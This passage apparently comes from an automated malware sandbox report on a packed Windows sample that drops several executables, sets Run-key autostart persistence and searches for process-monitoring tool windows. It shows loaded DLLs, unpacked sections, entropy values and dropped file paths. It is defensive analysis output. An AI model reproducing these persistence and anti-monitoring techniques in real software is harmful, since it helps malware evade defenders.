Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3195392 > 1048576

Source: file.exe

Static PE information: Raw size of dckdxrcr is bigger than: 0x100000 < 0x2a0400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.390000.0.unpack :EW;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 13.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dckdxrcr:EW;ilcchisc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Unpacked PE file: 30.2.1c49dbdc29.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bpqkjsvj:EW;nfefccxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bpqkjsvj:EW;nfefccxc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Unpacked PE file: 33.2.93ee6c8e33.exe.ab0000.0.unpack :EW;.rsrc:W;.idata :W;ednolfgk:EW;suscsoaj:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Unpacked PE file: 34.2.1c49dbdc29.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bpqkjsvj:EW;nfefccxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bpqkjsvj:EW;nfefccxc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Unpacked PE file: 38.2.93ee6c8e33.exe.ab0000.0.unpack :EW;.rsrc:W;.idata :W;ednolfgk:EW;suscsoaj:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

15_2_005842DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.13.dr	Static PE information: real checksum: 0x1e5257 should be: 0x1e2878
Source: random[1].exe2.13.dr	Static PE information: real checksum: 0x2a1689 should be: 0x2a4399
Source: cfeb78330e.exe.13.dr	Static PE information: real checksum: 0x1e5257 should be: 0x1e2878
Source: 7z.exe.37.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: random[1].exe1.13.dr	Static PE information: real checksum: 0x1beaea should be: 0x1c5d08
Source: 93ee6c8e33.exe.13.dr	Static PE information: real checksum: 0x2a1689 should be: 0x2a4399
Source: file.exe	Static PE information: real checksum: 0x3153ed should be: 0x30fd1a
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x3153ed should be: 0x30fd1a
Source: 1c49dbdc29.exe.13.dr	Static PE information: real checksum: 0x1beaea should be: 0x1c5d08
Source: 7z.dll.37.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: dckdxrcr
Source: file.exe	Static PE information: section name: ilcchisc
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: dckdxrcr
Source: skotes.exe.0.dr	Static PE information: section name: ilcchisc
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: .idata
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: getekmla
Source: random[1].exe.13.dr	Static PE information: section name: lxnvinpd
Source: random[1].exe.13.dr	Static PE information: section name: .taggant
Source: cfeb78330e.exe.13.dr	Static PE information: section name:
Source: cfeb78330e.exe.13.dr	Static PE information: section name: .idata
Source: cfeb78330e.exe.13.dr	Static PE information: section name:
Source: cfeb78330e.exe.13.dr	Static PE information: section name: getekmla
Source: cfeb78330e.exe.13.dr	Static PE information: section name: lxnvinpd
Source: cfeb78330e.exe.13.dr	Static PE information: section name: .taggant
Source: random[1].exe1.13.dr	Static PE information: section name:
Source: random[1].exe1.13.dr	Static PE information: section name: .idata
Source: random[1].exe1.13.dr	Static PE information: section name:
Source: random[1].exe1.13.dr	Static PE information: section name: bpqkjsvj
Source: random[1].exe1.13.dr	Static PE information: section name: nfefccxc
Source: random[1].exe1.13.dr	Static PE information: section name: .taggant
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name:
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name: .idata
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name:
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name: bpqkjsvj
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name: nfefccxc
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name: .taggant
Source: random[1].exe2.13.dr	Static PE information: section name:
Source: random[1].exe2.13.dr	Static PE information: section name: .idata
Source: random[1].exe2.13.dr	Static PE information: section name: ednolfgk
Source: random[1].exe2.13.dr	Static PE information: section name: suscsoaj
Source: random[1].exe2.13.dr	Static PE information: section name: .taggant
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name:
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name: .idata
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name: ednolfgk
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name: suscsoaj
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003AD91C push ecx; ret	0_2_003AD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003A1359 push es; ret	0_2_003A135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0060D91C push ecx; ret	3_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_0060D91C push ecx; ret	4_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0060D91C push ecx; ret	13_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0060DFC6 push ecx; ret	13_2_0060DFD9
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A0A76 push ecx; ret	15_2_005A0A89

Source: file.exe	Static PE information: section name: entropy: 7.0483478624903295
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.0483478624903295
Source: random[1].exe.13.dr	Static PE information: section name: getekmla entropy: 7.94180606533404
Source: cfeb78330e.exe.13.dr	Static PE information: section name: getekmla entropy: 7.94180606533404
Source: random[1].exe1.13.dr	Static PE information: section name: bpqkjsvj entropy: 7.954834840896072
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name: bpqkjsvj entropy: 7.954834840896072
Source: random[1].exe2.13.dr	Static PE information: section name: entropy: 7.800261227906633
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name: entropy: 7.800261227906633

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1c49dbdc29.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d71513cd6d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 93ee6c8e33.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Window searched: window name: Regmonclass	Jump to behavior
